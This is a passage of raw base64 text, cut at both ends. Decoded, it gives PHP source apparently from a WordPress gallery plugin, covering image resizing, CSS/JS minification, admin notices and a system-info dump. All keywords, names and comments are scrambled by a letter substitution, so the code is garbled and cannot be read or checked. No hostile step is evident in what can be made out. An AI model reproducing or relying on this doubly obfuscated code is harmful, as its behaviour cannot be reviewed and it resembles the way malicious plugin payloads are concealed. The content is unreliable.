MsRSkucnR4ckhQKCRoTmMsQyxFKSk7DQogICB9IE5kck4gew0KICAgICAgJFAgPSBoTmNVTkcocnR4ckhQKCRoTmMseSxDKSk7DQogICAgICAkYSA9IGhOY1VORyhydHhySFAoJGhOYyxDLEMpKTsNCiAgICAgICR4ID0gaE5jVU5HKHJ0eHJIUCgkaE5jLGUsQykpOw0KICAgfQ0KICAgJFBheCA9IHFQUHFnKCRQLCAkYSwgJHgpOw0KICAgLy9QTkh0UG0gQldEZGZVTigiLCIsICRQYXgpOyAvLyBQTkh0UG1yIEhoTiBQYXggb3FkdE5yIHJORHFQcUhOVSB4ZyBHZldXcXINCiAgIFBOSHRQbSBCV0RkZlVOKCIsIiwgJFBheCk7IC8vIFBOSHRQbXIgcW0gcVBQcWcgM0JIaCBIaE4gUGF4IG9xZHROcg0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIFBORGRxR05fTmNITm1yQmZtDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KanRtR0hCZm0gTldhX1BORGRxR05fTmNITm1yQmZtKCRqQmRObXFXTikgew0KCSROY0ggPSBEcUhoQm1qZigkakJkTm1xV04sIFFBSlRZc2lNX1hSSlhzMllNcyk7DQoJJG1OM19OY0hObXJCZm0gPSAnTldhR29QLScuJE5jSDsNCglQTkh0UG0gcnR4ckhQX1BORGRxR04oJGpCZE5tcVdOICwgJG1OM19OY0hObXJCZm0sIHJIUFBEZnIoJGpCZE5tcVdOICwgJy4nKSArIEUpOw0KICAgIC8vUE5IdFBtIERQTmFfUE5EZHFHTignL1wuLiskLycsICcuJyAuICRtTjNfTmNITm1yQmZtLCAkakJkTm1xV04pOw0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIG5OSCBxSEhxR2hXTm1IIEJXcWFOIEJVIA0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9hTkhfcUhIcUdoV05tSF9CVV9qUGZXX3JQRyAoJGRCbTEpIHsNCiAgICBhZGZ4cWQgJDNEVXg7DQogICAgICAgICRkQm0xID0gRFBOYV9QTkRkcUdOKCcvLVxVK2NcVSsoPz1cLihrRGF8a0ROYXxEbWF8YUJqKSQpL0InLCAnJywgJGRCbTEpOw0KICAgICAgICBQTkh0UG0gJDNEVXgtPmFOSF9vcVAoIjJYdVg3SiBZRiBpVk1aIHskM0RVeC0+RGZySHJ9IDhUWFZYIGF0QlU9JyRkQm0xJyIpOw0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogICA3MjIgN2ZXRFBOcnJmUCBAckJtR04gRS5TLkUubA0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9HcnJfR2ZXRFBOcnIoICRXQm1CamcgKSB7DQoJLyogUE5XZm9OIEdmV1dObUhyICovDQogICAgCSRXQm1CamcgPSBEUE5hX1BORGRxR04oICchL1wqW14qXSpcKisoW14vXVteKl0qXCorKSovIScsICcnLCAkV0JtQmpnICk7DQoNCiAgICAgICAgLyogUE5XZm9OIEhxeHIsIHJEcUdOciwgbU4zZEJtTnIsIE5IRy4gKi8NCiAgICAJJFdCbUJqZyA9IHJIUF9QTkRkcUdOKCBxUFBxZygiXFBcbSIsICJcUCIsICJcbSIsICJcSCIsICcgICcsICcgICAgJywgJyAgICAnKSwgJycsICRXQm1CamcgKTsNCiAgICAJCQ0KICAgICAgICBQTkh0UG0gJFdCbUJqZzsNCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgSTIgN2ZXRFBOcnJmUCBAckJtR04gRS5TLkUubA0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9rcl9HZldEUE5yciggJFdCbUJqZyApIHsNCgkNCiRQTkRkcUdOID0gcVBQcWcoDQogICAgJyNcJyhbXlxtXCddKj8pL1wqKFteXG1cJ10qKVwnIycgPT4gIidcRS8nK1wnXCcrJypcQyciLCAvLyBQTldmb04gR2ZXV05tSHIgalBmVyAnIHJIUEJtYXINCiAgICAnI1wiKFteXG1cIl0qPykvXCooW15cbVwiXSopXCIjJyA9PiAnIlxFLyIrXCdcJysiKlxDIicsIC8vIFBOV2ZvTiBHZldXTm1IciBqUGZXICIgckhQQm1hcg0KICAgICcjL1wqLio/XCovI3InICAgICAgICAgICAgPT4gIiIsICAgICAgLy8gckhQQkQgNyBySGdkTiBHZldXTm1Icg0KICAgICcjW1xQXG1dKyMnICAgICAgICAgICAgICAgPT4gIlxtIiwgICAgLy8gUE5XZm9OIHhkcW0xIGRCbU5yIHFtVSBcUCdyDQogICAgJyNcbShbIFxIXSovLy4qP1xtKSojcicgICA9PiAiXG0iLCAgICAvLyBySFBCRCBkQm1OIEdmV1dObUhyICgzaGZkTiBkQm1OIGZtZGcpDQogICAgJyMoW15cXF0pLy8oW15cJyJcbV0qKVxtI3InID0+ICJcXEVcbSIsICAgICAgICAgICANCiAgICAnI1xtXHIrIycgICAgICAgICAgICAgICAgID0+ICJcbSIsICAgIC8vIHJIUEJEIE5jR05yciAzaEJITnJEcUdODQogICAgJyNccitcbSMnICAgICAgICAgICAgICAgICA9PiAiXG0iLCAgICAvLyBySFBCRCBOY0dOcnIgM2hCSE5yRHFHTg0KICAgICcjKC8vW15cbV0qXG0pI3InICAgICAgICAgPT4gIlxcRVxtIiwgLy8gTmNIUHEgZEJtTiBqTk5VIHFqSE5QIHFtZyBHZldXTm1IciBkTmpIDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyAoQldEZlBIcW1IIGFCb05tIGRxSE5QIFBORGRxR05XTm1IcikNCiAgICAnIy8oW1wnIl0pXCtcJ1wnXCsoW1wnIl0pXCojJyA9PiAiLyoiIC8vIFBOckhmUE4gR2ZXV05tSHIgQm0gckhQQm1hcg0KICApOw0KDQogICRyTnFQR2ggPSBxUFBxZ18xTmdyKCAkUE5EZHFHTiApOw0KICAkckdQQkRIID0gRFBOYV9QTkRkcUdOKCAkck5xUEdoLCAkUE5EZHFHTiwgJFdCbUJqZyApOw0KDQogICRQTkRkcUdOID0gcVBQcWcoDQogICAgIiYmXG0iID0+ICImJiIsDQogICAgInx8XG0iID0+ICJ8fCIsDQogICAgIihcbSIgID0+ICIoIiwNCiAgICAiKVxtIiAgPT4gIikiLA0KICAgICJbXG0iICA9PiAiWyIsDQogICAgIl1cbSIgID0+ICJdIiwNCiAgICAiK1xtIiAgPT4gIisiLA0KICAgICIsXG0iICA9PiAiLCIsDQogICAgIj9cbSIgID0+ICI/IiwNCiAgICAiOlxtIiAgPT4gIjoiLA0KICAgICI7XG0iICA9PiAiOyIsDQogICAgIntcbSIgID0+ICJ7IiwNCi8vICAifVxtIiAgPT4gIn0iLCAoeE5HcXRyTiBZIGpmUGFOSCBIZiBEdEggck5XQkdmZGZtciBxakhOUCBqdG1HSEJmbSBxcnJCYW1XTm1IcikNCiAgICAiXG1dIiAgPT4gIl0iLA0KICAgICJcbSkiICA9PiAiKSIsDQogICAgIlxtfSIgID0+ICJ9IiwNCiAgICAiXG1cbSIgPT4gIlxtIg0KICApOw0KDQogICRyTnFQR2ggPSBxUFBxZ18xTmdyKCAkUE5EZHFHTiApOw0KICAkckdQQkRIID0gckhQX1BORGRxR04oICRyTnFQR2gsICRQTkRkcUdOLCAkckdQQkRIICk7DQoNCiAgUE5IdFBtIEhQQlcoICRyR1BCREggKTsNCg0KfQ0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IGlWTXNKWHNGIEE3SllMQUpYIHNNSllpWTdBSllNcw0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KanRtR0hCZm0gTldhX2pQZm1IX2RCR05tck5fbWZIQmpnKCkgew0KCQ0KCQkkTldhalBmbUhtZkhCamcgPSAnPFVCbyBHZHFycj0iTnFyZ1dOVUJxX0dObUhOUCI+PFVCbyBHZHFycj0iTldhZEJHTm1yTkJtaiI+UWROcXJOIHFHSEJvcUhOIDxySFBmbWE+Jy5YWm5fWUpYWl9zQVpYLic8L3JIUGZtYT4gZEJHTm1HTiAxTmcuIDZmdCBHcW0gcUdIQm9xSE4gPHEgaFBOaj0iJy5xVVdCbV90UGQoICdOVUJILkRoRD9EZnJIX0hnRE49TnFyZ1dOVUJxYXFkZE5QZyZEcWFOPU5XYS1xR0hCb3FIQmZtJyApLiciPicuX18oJ2hOUE4nLCAnTnFyV05VQnEnKS4nPC9xPjwvVUJvPjwvVUJvPic7DQoJCQkNCglOR2hmICROV2FqUGZtSG1mSEJqZzsNCn0NCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBpVk1zSlhzRiBpTU05TVIgc01KWWlZN0FKWU1zDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQpqdG1HSEJmbSBOV2FfalBmbUhfamZmeGZjX21mSEJqZygpIHsNCgkNCgkJJE5XYWpQZm1IanggPSAnPFVCbyBHZHFycj0iTnFyZ1dOVUJxX0dObUhOUCI+PFVCbyBHZHFycj0iTldhQm1qZnhmYyI+aWZmOWZjIG1mSCBxR0hCb04hIDZmdCBocW9OIEhmIER0UEdocXJOIHJORHFQcUhOZGcgPHEgaFBOaj0iaEhIRDovL2FmZi5hZC9nUnRJekEiIEhxUGFOSD0iX3hkcW0xIj4nLl9fKCdoTlBOJywgJ05xcldOVUJxJykuJzwvcT4sIGZQIHRyTiBpZmY5ZmMgaVBOTiBvTlByQmZtIDxxIGhQTmo9ImhISERyOi8vM2ZQVURQTnJyLmZQYS9EZHRhQm1yL2pmZnhmYy1CV3FhTi1kQmFoSHhmYy8iIEhxUGFOSD0iX3hkcW0xIj4nLl9fKCdoTlBOJywgJ05xcldOVUJxJykuJzwvcT4uPHhQPnVOcVBtIFdmUE4gcXhmdEggaWZmOWZjIGRCYWhIeGZjIEhnRE4gPHEgaFBOaj0iaEhIRDovL2FoZnBnZHF4LkdmVy9EZHRhQm1yL05xcmctV05VQnEtYXFkZE5QZy1EUGYvVU5XZi94TnJILWFxZGROUGctZEJhaEh4ZmNOciNkQmFoSHhmY0RQTldCdFciIEhxUGFOSD0iX3hkcW0xIj4nLl9fKCdoTlBOJywgJ05xcldOVUJxJykuJzwvcT48L1VCbz48L1VCbz4nOw0KCQkJDQoJTkdoZiAkTldhalBmbUhqeDsNCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICBZV3FhTiBWTnJCcE4gKCBBckROR0ggVnFIQmYgKQ0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcmdXTlVCcV9CV2FQTnJCcE4oJEJXYSwgJGRCV0JILCAkQnJQTnIsICRCVzMsICRCV2gpIHsNCgkNCgkvKkJqICggckhQRGZyKCAkQldhLCAkXzJYVkxYVlsnVEpKUV9UTTJKJ10gKSA9PT0gaUF1MlggKSB7DQoJCSRCV2E9ICJoSEhEOi8vIi4kXzJYVkxYVlsnVEpKUV9UTTJKJ10uJEJXYTsNCgkJfQ0KCQlOZHJOIHsNCgkJCSRCV2E9ICRCV2E7DQoJCQl9Ki8NCgkNCglCaiAoICRCV2EgPT0gJycgKSB7DQoJCSRCV2EgPSBEZHRhQm1yX3RQZCggJ0JXcWFOci9tZi1CV3FhTi1xb3FCZHF4ZE4ua0RhJyAsIFVCUG1xV04oX19pWXVYX18pICkgOw0KCX0NCgkJTmRyTiB7DQoJCQkkQldhID0gJEJXYTsNCgkJfQkNCgkNCglCaiAoICRCclBOciA9PSAnZm0nICkgew0KCQlCaiAoICRCVzMgPiAkZEJXQkggKSB7DQoJCQkkSE5XREJXYVBxSEJmID0gJEJXaCAvICRCVzM7DQoJCQkkakJoID0gKEJtSCkoJEhOV0RCV2FQcUhCZiAqICRkQldCSCk7IC8vIGpCbXFkIEJXcWFOIGhOQmFoSA0KCQkJJGpCMyA9ICRkQldCSDsgLy8gakJjTlUgQldxYU4gM0JVSGgNCgkJCQ0KCQkJJHFkZEJXYVVxSHEgPSBxUFBxZyggTldhX0hodFd4X3JQRyggJEJXYSwgJGpCMywgJGpCaCwgJEJXMywgJEJXaCksICRqQjMsICRqQmggKTsNCgkJCQ0KCQkJfQ0KCQlOZHJOIHsNCgkJCSRxZGRCV2FVcUhxID0gcVBQcWcoICRCV2EsICRCVzMsICRCV2ggKTsNCgkJCX0JCQ0KCQl9DQoJTmRyTiB7ICRxZGRCV2FVcUhxID0gcVBQcWcoICRCV2EsICRCVzMsICRCV2ggKTsJDQoJfQ0KUE5IdFBtIEJXRGRmVU4oIiwiLCAkcWRkQldhVXFIcSk7DQp9DQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgWVdxYU4gVk5yQnBOICggQXJETkdIIFZxSEJmICkgQUlBUg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcmdXTlVCcV9CV2FQTnJCcE5fcWtxYygpIHsNCglCaiAoICFCcnJOSCggJF9RTTJKWydCV2F0UGQnXSApIHx8ICFCcnJOSCggJF9RTTJKWydkQldCSE5QJ10gKSB8fCAkX1FNMkpbJ0JXYXRQZCddID09ICcnIHx8ICRfUU0ySlsnZEJXQkhOUCddID09ICcnICkgew0KCQlOR2hmICc8RD5Ba3FjIFBOMHROckgganFCZE5VLCBEZE5xck4gUE5qUE5yaCBnZnRQIHhQZjNyTlAgM0JtVWYzLjwvRD4nOw0KCQlVQk47DQoJCX0NCgkJTmRyTiB7DQoJCQkNCgkJJEJXYXRQZCA9ICRfUU0ySlsnQldhdFBkJ107DQoJCSRkQldCSE5QID0gJF9RTTJKWydkQldCSE5QJ107DQoJCSRxSEhCVSA9IDNEX2FOSF9xSEhxR2hXTm1IX0JXcWFOX3JQRyggTldhX2FOSF9xSEhxR2hXTm1IX0JVX2pQZldfclBHKCAkQldhdFBkICksICdqdGRkJyApOw0KCQ0KCQkvKkJqICggckhQRGZyKCAkQldhdFBkLCAkXzJYVkxYVlsnVEpKUV9UTTJKJ10gKSA9PT0gaUF1MlggKSB7DQoJCQkkQldhdFBkID0gImhISEQ6Ly8iLiRfMlhWTFhWWydUSkpRX1RNMkonXS4kQldhdFBkOw0KCQkJfQ0KCQkJTmRyTiB7DQoJCQkJJEJXYXRQZCA9ICRCV2F0UGQ7DQoJCQkJfSovDQoJCQkJDQoJCQkJJEhXREJXYVBxSEJmID0gJHFISEJVW0NdIC8gJHFISEJVW0VdOyAvL2FOSCBCV3FhTiBxckRORyBQcUhCZg0KDQoJCUJqICggJHFISEJVW0VdID4gJGRCV0JITlAgKSB7DQoJCQkkSFdEaCA9IChCbUgpKCRIV0RCV2FQcUhCZiAqICRkQldCSE5QKTsgLy8gakJtcWQgQldxYU4gaE5CYWhIDQoJCQkkSFdEMyA9ICRkQldCSE5QOyAvLyBqQmNOVSBCV3FhTiAzQlVIaA0KCQkJJHFkZEJXYVVxSHEgPSBxUFBxZyggTldhX0hodFd4X3JQRyggJEJXYXRQZCwgJEhXRDMsICRIV0RoLCAkcUhIQlVbRV0sICRxSEhCVVtDXSksICRIV0QzLCAkSFdEaCApOw0KCQkJTkdoZiBCV0RkZlVOKCIsIiwgJHFkZEJXYVVxSHEpOw0KCQkJVUJOOw0KCQkJfQ0KCQlOZHJOIHsNCgkJCSRqQm1CV2F0UGQgPSAkQldhdFBkOw0KCQkJJHFkZEJXYVVxSHEgPSBxUFBxZyggJGpCbUJXYXRQZCwgJHFISEJVW0VdLCAkcUhIQlVbQ10gKTsNCgkJCU5HaGYgQldEZGZVTigiLCIsICRxZGRCV2FVcUhxKTsNCgkJCVVCTjsNCgkJCX0JCQ0KCQl9DQp9DQpxVVVfcUdIQmZtKCAnM0RfcWtxY19OcXJnV05VQnFfQldhUE5yQnBOX3FrcWMnLCAnTnFyZ1dOVUJxX0JXYVBOckJwTl9xa3FjJyApOw0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIEhodFd4bXFCZCByZnRQR04gcjNCSEdoID0gSkJXSGh0V3ggZlAgTnFyZ1dOVUJxX1BOckJwTlANCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOV2FfSGh0V3hfclBHKCAkQldhX3JQRywgJDNCVUhoLCAkaE5CYWhILCAkYXJwTkUsICRhcnBOQywgJEdXZlVOID0gJ0cnLCAkcEdyID0gJ0UnICkgewkNCg0KLyoJQDJCbUdOIEUuUy55LmIgKi8NCgkNCglCaighJEJXYV9yUEcpIHtQTkh0UG0ganFkck47fSBCaiAoIEJyX1d0ZEhCckJITigpICl7IFBOSHRQbSBqcWRyTjsgfQ0KCQ0KCUJqKCBOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfVUJyTm1fSEhodFd4JyApID09ICdFJyApIHsNCgkJJE5XYV9IaHRXeF90UGQgPSBYWm5fSlRLWjlfaVl1WCAuICI/clBHPSIgLiAkQldhX3JQRyAuICImaD0iIC4gJGhOQmFoSCAuICImMz0iIC4gJDNCVUhoIC4gIiZwRz0iLiRwR3IuIiYwPUV5eSZxPSIuJEdXZlVOLiIiOw0KCX0gTmRyTiB7DQoJCUJqICggJGFycE5FICE9ICd5JyAmJiAkYXJwTkMgIT0gJ3knICkgew0KCQkJJGFyQnBORSA9ICRhcnBORTsNCgkJCSRhckJwTkMgPSAkYXJwTkM7DQoJCQl9DQoJCQlOZHJOIHsNCgkJCQkkYWRmeHFkckJwTiA9IDNEX2FOSF9xSEhxR2hXTm1IX0JXcWFOX3JQRyggTldhX2FOSF9xSEhxR2hXTm1IX0JVX2pQZldfclBHKCAkQldhX3JQRyApLCAnanRkZCcgKTsNCgkJCQkkYXJCcE5FID0gJGFkZnhxZHJCcE5bRV07DQoJCQkJJGFyQnBOQyA9ICRhZGZ4cWRyQnBOW0NdOw0KCQkJCX0NCgkJCQkNCgkJCQkkTldhX0hodFd4X3RQZCA9IE5xcmdXTlVCcV9QTnJCcE5QKCAkQldhX3JQRywgJGFyQnBORSwgJGFyQnBOQywgJDNCVUhoLCAkaE5CYWhILCBIUHROLCAkR1dmVU4sIGpxZHJOICk7DQoJfQ0KCQ0KCVBOSHRQbSAkTldhX0hodFd4X3RQZDsJDQoNCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICBuTkggOFEgWW1qZg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcldOVUJxX2FOSF8zREJtamYoKSB7DQoJDQovLyBuTkggMkJITiBLVnUJDQokYU5IM0RCbWpmID0gcVBQcWcoKTsNCiRhTkgzREJtamZbeV0gPSAiLSAyQkhOIEtWdSA6ICIgLmFOSF9yQkhOX3RQZCgpOw0KDQovLyBuTkggWnRkSEJyQkhOIHJIcUh0cg0KQmogKCBCcl9XdGRIQnJCSE4oKSApIHsgJGFOSDNEQm1qZltFXSA9ICctIDhRIFp0ZEhCckJITiA6IDZYMic7IH0gTmRyTiB7ICRhTkgzREJtamZbRV0gPSAnLSA4USBadGRIQnJCSE4gOiBzTSc7IH0NCg0KLy8gbk5IIFFUUSBVTm1nIGpQZlcgcWRkIHJIcUh0cgkNCiR0UGQgPSBEZHRhQm1yX3RQZCggJ1VnbXFXQkctckhnZE4uRGhEJyAsIFVCUG1xV04oX19pWXVYX18pICk7DQokaE5xVU5QciA9IGFOSF9oTnFVTlByKCR0UGQpOw0KDQpCaiAockhQRGZyKCRoTnFVTlByW3ldLCdpZlB4QlVVTm0nKSAhPT0ganFkck4pIHsNCiAgICAkYU5IM0RCbWpmW0NdID0gJy0gUVRRIEZCUE5HSCBBR0dOcnIgOiBpZlB4QlVVTm0nOw0KfSBOZHJOIHsNCgkkYU5IM0RCbWpmW0NdID0gJy0gUVRRIEZCUE5HSCBBR0dOcnIgOiA2WDInOw0KCX0NCgkNCmFkZnhxZCAkM0Rfb05QckJmbSwgJE5XYVdOV2ZQZzsJCQ0KTkdoZiAiLSA4USBMTlByQmZtIDogIi4kM0Rfb05QckJmbS4iXG0iOwkNCk5HaGYgJGFOSDNEQm1qZlt5XS4iXG0iOw0KTkdoZiAkYU5IM0RCbWpmW0VdLiJcbSI7CQ0KTkdoZiAkYU5IM0RCbWpmW0NdLiJcbSI7DQpOR2hmIEdoTkcxR3RQZHFtVXRQZGpmRE5tKCk7DQpOR2hmICItIFpOV2ZQZyB1QldCSCA6ICIuJE5XYVdOV2ZQZy4iXG0iOw0KJEhoTldOX21xV04gPSAzRF9hTkhfSGhOV04oKTsNCk5HaGYgIi0gQUdIQm9OIEpoTldOIDogIi4kSGhOV05fbXFXTi0+YU5IKCdzcVdOJykuIlxtIjsNCk5HaGYgIi0gQUdIQm9OIFFkdGFCbXIgOiBcbSI7DQoNCi8vIG5OSCBBR0hCb04gUWR0YUJtDQpCaiAoIEJyX1d0ZEhCckJITigpICkgeyANCgkkSGhOX0RkdGFyID0gYU5IX3JCSE5fZkRIQmZtKCdxR0hCb05fckJITjNCVU5fRGR0YUJtcicpOw0KCWpmUE5xR2goJEhoTl9EZHRhciBxciAkMU5nID0+ICRvcWR0Tikgew0KCQkkckhQQm1hID0gTmNEZGZVTignLycsJDFOZyk7DQoJCSRySFBCbWFbeV0gPSBySFBfUE5EZHFHTiggIi0iLCIgIiwkckhQQm1hW3ldICk7DQogICAgICAgIE5HaGYgIiAmbXhyRDsmbXhyRDsmbXhyRDsmbXhyRDsiLnRHM2ZQVXIoICRySFBCbWFbeV0gKSAuIlxtIjsNCgl9DQp9IE5kck4gew0KCSRIaE5fRGR0YXIgPSBhTkhfZkRIQmZtKCdxR0hCb05fRGR0YUJtcicpOw0KCWpmUE5xR2goJEhoTl9EZHRhciBxciAkMU5nID0+ICRvcWR0Tikgew0KCQkkckhQQm1hID0gTmNEZGZVTignLycsJG9xZHROKTsNCgkJJHJIUEJtYVt5XSA9IHJIUF9QTkRkcUdOKCAiLSIsIiAiLCRySFBCbWFbeV0gKTsNCiAgICAgICAgTkdoZiAiICZteHJEOyZteHJEOyZteHJEOyZteHJEOyIudEczZlBVciggJHJIUEJtYVt5XSApIC4iXG0iOw0KCQl9DQoJfQ0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIDdoTkcxIDdLVnUgcW1VIHFkZGYzX3RQZF9qZkRObQ0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIEdoTkcxR3RQZHFtVXRQZGpmRE5tKCkgew0KCQ0KCSAgQmooIGp0bUdIQmZtX05jQnJIcignR3RQZF9vTlByQmZtJykgKSB7DQoJCSAgJEJyR3RQZCA9ICctIFFUUSA3S1Z1IDogQUdIQm9OJzsNCgkJICB9DQogICAgCU5kck4gew0KCQkgJEJyR3RQZCA9ICctIFFUUSA3S1Z1IDogc01KIEFHSEJvTic7DQoJICAgICB9DQogICAgDQoJDQogICAgIEJqKCBAQm1CX2FOSCgncWRkZjNfdFBkX2pmRE5tJykgKSB7DQoJCSAkQnJxZGRmMyA9ICctIFFUUSBBZGRmM190UGRfamZETm0gOiBBR0hCb04nOw0KCQkgfSBOZHJOIHsNCgkJCSAgJEJycWRkZjMgPSAnLSBRVFEgQWRkZjNfdFBkX2pmRE5tIDogc01KIEFHSEJvTic7DQoJCQkgIH0NCgkNCgkNCk5HaGYgJEJyR3RQZC4iXG0iOwkNCk5HaGYgJEJycWRkZjMuIlxtIjsJDQp9DQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgbk5IIFFkdGFCbSBMTlByQmZtIChAUE5IdFBtIHJIUEJtYSBRZHRhQm0gb05QckJmbSkNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOcXJnV05VQnFfYU5IX0RkdGFCbV9vTlByQmZtKCkgew0KICAgICREZHRhQm1fVXFIcSA9IGFOSF9EZHRhQm1fVXFIcSggWFpuX0ZZViAuICcvTnFyZy1XTlVCcS1hcWRkTlBnLURQZi5EaEQnICk7DQogICAgJERkdGFCbV9vTlByQmZtID0gJERkdGFCbV9VcUhxWydMTlByQmZtJ107DQogICAgUE5IdFBtICREZHRhQm1fb05QckJmbTsNCn0NCg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICA3aE5HMSBiUFUgRHFQSGcgaWZmeGZjIERkdGFCbQ0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcmdXTlVCcV9CcmpmZnhmYygpIHsNCglCaihHZHFycl9OY0JySHIoJ2pmZnhmY0xDJykgfHwgR2RxcnJfTmNCckhyKCdqZmZ4ZmMnKSB8fCBHZHFycl9OY0JySHIoJ2lmZnhmY19pUE5OJykpew0KCQkkQnJqZmZ4ZmMgPSAncUdIQm9OJzsNCgkJUE5IdFBtICRCcmpmZnhmYzsJDQoJfQ0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIDJkdGEgSGYgc3FXTg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9yZHRhX0hmX21xV04oJHJkdGEpIHsNCgkkb3FkciA9IHFQUHFnKA0KCQkJCSI3Tm1ITlAiPT4gIkciLA0KCQkJCSJKZkQiPT4g